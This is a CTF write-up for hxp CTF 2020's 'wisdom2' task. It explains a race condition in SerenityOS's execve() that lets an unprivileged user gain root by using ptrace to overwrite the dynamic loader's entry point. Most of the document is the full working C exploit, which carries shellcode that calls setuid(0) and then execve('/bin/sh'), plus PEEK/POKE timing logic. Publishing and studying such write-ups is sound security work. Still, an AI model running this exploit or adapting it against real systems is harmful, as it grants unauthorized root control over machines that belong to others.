hxp CTF 2020: wisdom2

This task was yet another incarnation of last year’s wisdom task: Basically, simply™ get root in the current version of SerenityOS from an unprivileged account.

Apparently, the security improvements made in response to last year’s SerenityOS hacking adventures made the system so secure that only one team managed to break into it during the CTF (in stark contrast to six exploits last time), but of course we also had a sample exploit, which will be explained in this writeup.

The bug I exploited is a race condition: In sys$execve(), there exists a small timing window between setting up the memory mappings of the new executable image, and changing the UID for setuid binaries. We can exploit this using PTRACE_POKE to write into the executed process’ new memory space after it has been set up, but before the UID checks in ptrace() trigger. So, in a nutshell, hitting a process with a well-timed PTRACE_POKE while it is executing a certain part of execve() allows us to overwrite code that will (in case of setuid) shortly run as root. There are lots of details to get right:

  • The timing window for the race is usually extremely small. However, between setting up the new memory space and setting the new UID, the kernel cleans up the old process’ unveiled paths list, and we can force this to take a long time by simply unveil()ing a lot of random paths before invoking the execve().
  • ASLR has very recently been enabled Some non-determinism in load addresses has very recently been introduced (since dynamic linking is now the default), but luckily not for the dynamic linker, which currently always ends up at 0x08000000. We can thus overwrite the code at the entry point of Loader.so.
  • PTRACE_POKE only writes four bytes at a time, so we want our code to be as small as possible. My solution runs setuid(0) using the raw syscall, then sets up the arguments for execve("/bin/sh") by passing some values in argv[] (this makes the code to be written shorter), and finally calls the execve() library function that’s statically linked into Loader.so.
  • PTRACE_POKE crashes the kernel under some circumstances that happen during the execve(), so (instead of randomly hammering the process with POKEs) we should detect when the new memory mappings have been set up. This can be done using PTRACE_PEEK, which is a little bit more forgiving when (for instance) addresses aren’t mapped. Thus, we simply spin the tracer process until PTRACE_PEEK tells us some value known to be different in the new memory space has changed, and that’s when we run PTRACE_POKE as quickly as possible.
  • There are some more tricks like adjusting the scheduling priority and getting the timings of ptrace() right, but it’s mostly the result of playing around with the exploit until it seemed to work more or less reliably, and I don’t have very good explanations for these choices besides trial and error.

Without further ado, here’s the (somewhat messy) full exploit source code:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <mman.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/arch/i386/regs.h>

#define ass(X) do { if (!(X)) { printf("failed @ %u\n", __LINE__); perror(#X); exit(1); } } while (0)

void child(volatile unsigned char *ready)
{

    ass(!unveil("/", "rwx"));

    for (unsigned i = 0; i < (1ul << 15); ++i) {
        char path[0x100];
        sprintf(path, "/tmp/yolo-%u", i);
if (i % 100 == 0) { printf("%s\r", path); fflush(stdout); }
        ass(!unveil(path, "rwc"));
    }
printf("\n");

printf("child ready\n");

    {
        *ready = 1;             // continue parent
        while (*ready != 2);    // wait for attach
    }
printf("child exec\n");

    usleep(100e3);

    char str0[] = "/bin/sh";
    char *argv[] = {str0, nullptr};
    char *envp[] = {nullptr};
    execve("/bin/passwd", argv, envp);
printf("child %u\n", __LINE__);

}

unsigned addr_entry  = 0x08001ba6;  // entry point
unsigned addr_execve = 0x080327b5;  // libc execve
unsigned char payload[16] = {
    0x99,0xB0,0x31,0xCD,0x82,                               // setuid(0)
    0x58,0x58,0x58,0x50,0xFF,0x30,                          // push envp, push argv, push *argv
    0xE8,0x00,0x00,0x00,0x00,                               // call <off>
};
unsigned sentinel = 0xcccccccc;

static void prepare_shellcode()
{
    unsigned offoff = 12;
    * (unsigned*) (payload + offoff) = addr_execve - (addr_entry + offoff + 4);
}

static int set_priority(pid_t pid, int prio)
{
    sched_param sp = {prio};
    return sched_setparam(pid, &sp);
}

void parent(pid_t pid, volatile unsigned char *ready)
{

    set_priority( 0 , 1);
    set_priority(pid, 3);

    while (*ready != 1) sched_yield();  // wait for child
    ass(!ptrace(PT_ATTACH, pid, nullptr, 0));
printf("parent attached\n");

    ass(!ptrace(PT_POKE, pid, (void*) addr_entry, sentinel));
printf("wrote sentinel\n");

    set_priority( 0 , 3);
    set_priority(pid, 1);

    *ready = 2;             // continue child

    unsigned long cnt = 0;
    unsigned last_v = -1;

    while (true) {

        errno = 0;
        unsigned v = ptrace(PT_PEEK, pid, (void*) addr_entry, 0), w;
        int errv = errno;
if (cnt % 1000 == 0 || v != last_v) { printf("%8lu %-2d %08x\n", cnt, errv, v); }

        if (errv == EACCES) {
            printf("PEEK ~> EACCES\n");
            break;
        }

        if (!errv && v != sentinel) {
            for (unsigned i = 0; i < (sizeof(payload)+3)/4; ++i) {
                w = ptrace(PT_POKE, pid, (void*) (addr_entry + 4*i), ((unsigned*) payload)[i]);
printf("<%u> %-2d\n", i, w);
            }
            break;
        }

        last_v = v;

        if (++cnt % 1000 == 0) {
            ass(!ptrace(PT_CONTINUE, pid, nullptr, 0));
            sched_yield();
        }

    }

    ass(pid == waitpid(pid, nullptr, 0));

}

int main(int argc, char **argv)
{

////////////////////////////////////////////////////////////////

    if (argc >= 2 && !strcmp(argv[1], "payload")) {

        // read the flag

        int fd = open("/dev/hdb", O_RDONLY);
        printf("fd=%d\n", fd);

        char buf[0x401];
        for (unsigned i = 1; i < sizeof(buf); ++i) {
            lseek(fd, 0, SEEK_SET);
            errno = 0;
            int r = read(fd, buf, i);
            if (r != (signed) i) {
                printf("i=%d r=%d errno=%d\n", i, r, errno);
                break;
            }
        }

        printf("\n--> \x1b[32m%s\x1b[0m\n", buf);

        execl("/bin/sh", "sh", nullptr);
        exit(0);
    }

////////////////////////////////////////////////////////////////

    prepare_shellcode();

    unsigned char *ready;
    {
        void *page = mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
        ass(page != MAP_FAILED);
        ready = (unsigned char*) page;
    }
    *ready = 0;

    pid_t pid = fork();
    ass(pid >= 0);

    if (pid > 0)
        parent(pid, ready);
    else
        child(ready);

}

The numbers addr_entry and addr_execve must match the addresses from the particular compiled Loader.so, and perhaps one may need to increase the number of unveiled paths in child() to make the race time window bigger (this seems to depend a bit on questions like KVM vs. QEMU, amount of memory, etc.), but other than that the exploit should just work™ with good probability and spawn a root shell on the most recent version as of the start time of the CTF. (For some reason I don’t quite understand, the shell seems to only take a single line of input, but simply typing sh first thing suffices to get a fully functional shell.)

Here’s what it looks like when we run it on the CTF challenge:

SerenityOS root exploit